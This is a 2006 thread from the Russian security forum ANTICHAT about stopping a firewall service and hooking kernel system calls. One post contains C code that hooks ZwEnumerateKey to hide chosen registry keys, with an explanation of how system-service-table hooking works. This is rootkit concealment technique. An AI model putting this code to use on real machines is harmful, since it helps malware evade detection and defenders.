ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

03.04.2006, 12:33
|
|
Постоянный
Регистрация: 19.09.2005
Сообщений: 408
Провел на форуме: 3730496
Репутация:
519
|
|
Сообщение от KEZ
А если фаер был выключен? (DEMAND_START)
Тогда StopService() вернет ошибку, а StartService его запустит.
ну предварительно перед остановкой можно ретривнуть статус сервиса, и если SERVICE_RUNNING то StopService() дабы не вызывать ошибку
Сообщение от KEZ
one more time
... у меня перехватывается ZwEnumerateValueKey в ядре, поэтому можно скрыть любые ключи в реестре ...
3-й раз )) ну это у тебя, а у тех кто читает топик, нет ))
|
|
|

03.04.2006, 13:57
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме: 1941233
Репутация:
2726
|
|
Код:
WCHAR g_swRegHidePrefix[] = L"KeyToHide1";
WCHAR g_swRegHidePrefix2[] = L"KeyToHide2";
NTSTATUS NewZwEnumerateKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_INFORMATION_CLASS KeyInformationClass,
OUT PVOID KeyInformation,
IN ULONG Length,
OUT PULONG ResultLength )
{
KEY_BASIC_INFORMATION *kbi = NULL;
NTSTATUS ret;
ret = TrueZwEnumerateKey( KeyHandle, Index, KeyInformationClass, KeyInformation, Length, ResultLength );
if (!KeyInformationClass)
{
kbi = (KEY_BASIC_INFORMATION*)KeyInformation;
if (RtlCompareMemory( (PVOID)&kbi->Name[0], (PVOID)&g_swRegHidePrefix[0], 18 ) == 18 )
ret = STATUS_NO_SUCH_FILE;
if (RtlCompareMemory( (PVOID)&kbi->Name[0], (PVOID)&g_swRegHidePrefix2[0], 16 ) == 16 )
ret = STATUS_NO_SUCH_FILE;
}
return ret;
}
Ядро экспортирует указатель на SST, таблицу, в которой храняться адреса системных вызовов ядра.
API юзера выполняет какие-то действия обращается к Native-API юзера (ZwOpenKey или NtOpenKey, и т.п.),
а они-просто содержат код int 0x2e (в xp-sysenter), и управление передается обработчику прерывания 0x2e - ф-ии KiSystemService. В eax должен быть номер сис. вызова, а в edx (как я помню) - указатель на парамерты... Почти как в Unix... Только там во все регистры заносятся параметры или указатели.
Последний раз редактировалось KEZ; 03.04.2006 в 14:05..
|
|
|

08.04.2006, 23:47
|
|
Banned
Регистрация: 09.02.2006
Сообщений: 5
Провел на форуме: 37370
Репутация:
-5
|
|
это код c++????
|
|
|

08.04.2006, 23:52
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме: 1941233
Репутация:
2726
|
|
нет, это код к дверям в подъезде
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|